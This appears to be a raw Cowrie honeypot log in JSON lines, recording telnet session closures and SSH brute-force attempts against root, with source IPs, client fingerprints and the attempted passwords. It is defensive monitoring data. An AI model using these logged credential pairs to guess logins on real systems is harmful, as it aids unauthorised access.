{"eventid":"cowrie.session.closed","duration":5.58955979347229,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.713904Z","src_ip":"34.62.84.93","session":"89aacd1ec8bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.750252962112427,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.718397Z","src_ip":"34.62.84.93","session":"7c8ef91cdb2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.910478591918945,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.723043Z","src_ip":"34.62.84.93","session":"25700a1a87b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.07340669631958,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.726990Z","src_ip":"34.62.84.93","session":"b5c98a0fe8a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.2339770793914795,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.732379Z","src_ip":"34.62.84.93","session":"e648621ffe36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.393739223480225,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.737192Z","src_ip":"34.62.84.93","session":"ec4a177f72b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.709934949874878,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.741713Z","src_ip":"34.62.84.93","session":"bb28a02f9690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.944395303726196,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.746404Z","src_ip":"34.62.84.93","session":"0216c6b56d82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.105086088180542,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.750247Z","src_ip":"34.62.84.93","session":"5bda6e5f3585","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.268079996109009,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.754684Z","src_ip":"34.62.84.93","session":"624d0d05d833","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.428653955459595,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.758984Z","src_ip":"34.62.84.93","session":"6b2d0fac3a81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.590594291687012,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.763219Z","src_ip":"34.62.84.93","session":"a902b7cee01a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.921838283538818,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.771224Z","src_ip":"34.62.84.93","session":"fbea97d14b44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.764543294906616,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.775493Z","src_ip":"34.62.84.93","session":"d3851ff531bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.086453437805176,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.779433Z","src_ip":"34.62.84.93","session":"09659ec3ab98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.567477226257324,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.783439Z","src_ip":"34.62.84.93","session":"f2384f030a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":49446,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdd552b7a0c6","protocol":"ssh","message":"New connection: 147.45.197.250:49446 (10.17.0.5:22) [session: cdd552b7a0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:34.124254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:34.129436Z","src_ip":"147.45.197.250","session":"cdd552b7a0c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:34.224535Z","src_ip":"147.45.197.250","session":"cdd552b7a0c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13243546","message":"login attempt [root/13243546] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:34.513258Z","src_ip":"147.45.197.250","session":"cdd552b7a0c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:35.611670Z","src_ip":"147.45.197.250","session":"cdd552b7a0c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":58582,"dst_ip":"10.17.0.5","dst_port":22,"session":"52c9d208b13f","protocol":"ssh","message":"New connection: 103.149.28.157:58582 (10.17.0.5:22) [session: 52c9d208b13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:45.532969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:45.537443Z","src_ip":"103.149.28.157","session":"52c9d208b13f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:45.787929Z","src_ip":"103.149.28.157","session":"52c9d208b13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timoxa94","message":"login attempt [root/timoxa94] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:46.540778Z","src_ip":"103.149.28.157","session":"52c9d208b13f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":48874,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc9e07be9426","protocol":"ssh","message":"New connection: 185.236.22.41:48874 (159.203.135.109:22) [session: fc9e07be9426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:46.948414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:46.953707Z","src_ip":"185.236.22.41","session":"fc9e07be9426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:47.074154Z","src_ip":"185.236.22.41","session":"fc9e07be9426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem2004","message":"login attempt [root/artem2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:47.601228Z","src_ip":"185.236.22.41","session":"fc9e07be9426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:47.797518Z","src_ip":"103.149.28.157","session":"52c9d208b13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:48.722653Z","src_ip":"185.236.22.41","session":"fc9e07be9426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":32864,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c75d30bc34f","protocol":"ssh","message":"New connection: 89.108.118.91:32864 (10.17.0.5:22) [session: 5c75d30bc34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:50.728322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:50.733291Z","src_ip":"89.108.118.91","session":"5c75d30bc34f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:50.868658Z","src_ip":"89.108.118.91","session":"5c75d30bc34f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhbrtn","message":"login attempt [root/rhbrtn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:51.275472Z","src_ip":"89.108.118.91","session":"5c75d30bc34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:52.412688Z","src_ip":"89.108.118.91","session":"5c75d30bc34f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":43044,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3b60ab0b473","protocol":"ssh","message":"New connection: 103.172.78.219:43044 (10.17.0.5:22) [session: e3b60ab0b473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:22.197616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:22.202568Z","src_ip":"103.172.78.219","session":"e3b60ab0b473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:22.474345Z","src_ip":"103.172.78.219","session":"e3b60ab0b473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lfitymrf","message":"login attempt [root/lfitymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:23.294237Z","src_ip":"103.172.78.219","session":"e3b60ab0b473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":56434,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc1b476c87d5","protocol":"ssh","message":"New connection: 103.173.227.57:56434 (159.203.135.109:22) [session: bc1b476c87d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:23.989543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:23.995218Z","src_ip":"103.173.227.57","session":"bc1b476c87d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:24.235377Z","src_ip":"103.173.227.57","session":"bc1b476c87d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:24.566646Z","src_ip":"103.172.78.219","session":"e3b60ab0b473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fdgfgytt","message":"login attempt [root/fdgfgytt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:24.954832Z","src_ip":"103.173.227.57","session":"bc1b476c87d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:26.197387Z","src_ip":"103.173.227.57","session":"bc1b476c87d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":59620,"dst_ip":"10.17.0.5","dst_port":22,"session":"32fe84d6fcfc","protocol":"ssh","message":"New connection: 189.203.163.10:59620 (10.17.0.5:22) [session: 32fe84d6fcfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:28.249663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:28.254327Z","src_ip":"189.203.163.10","session":"32fe84d6fcfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:28.316749Z","src_ip":"189.203.163.10","session":"32fe84d6fcfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qian","message":"login attempt [root/qian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:28.601534Z","src_ip":"189.203.163.10","session":"32fe84d6fcfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:29.668547Z","src_ip":"189.203.163.10","session":"32fe84d6fcfc","protocol":"ssh"}
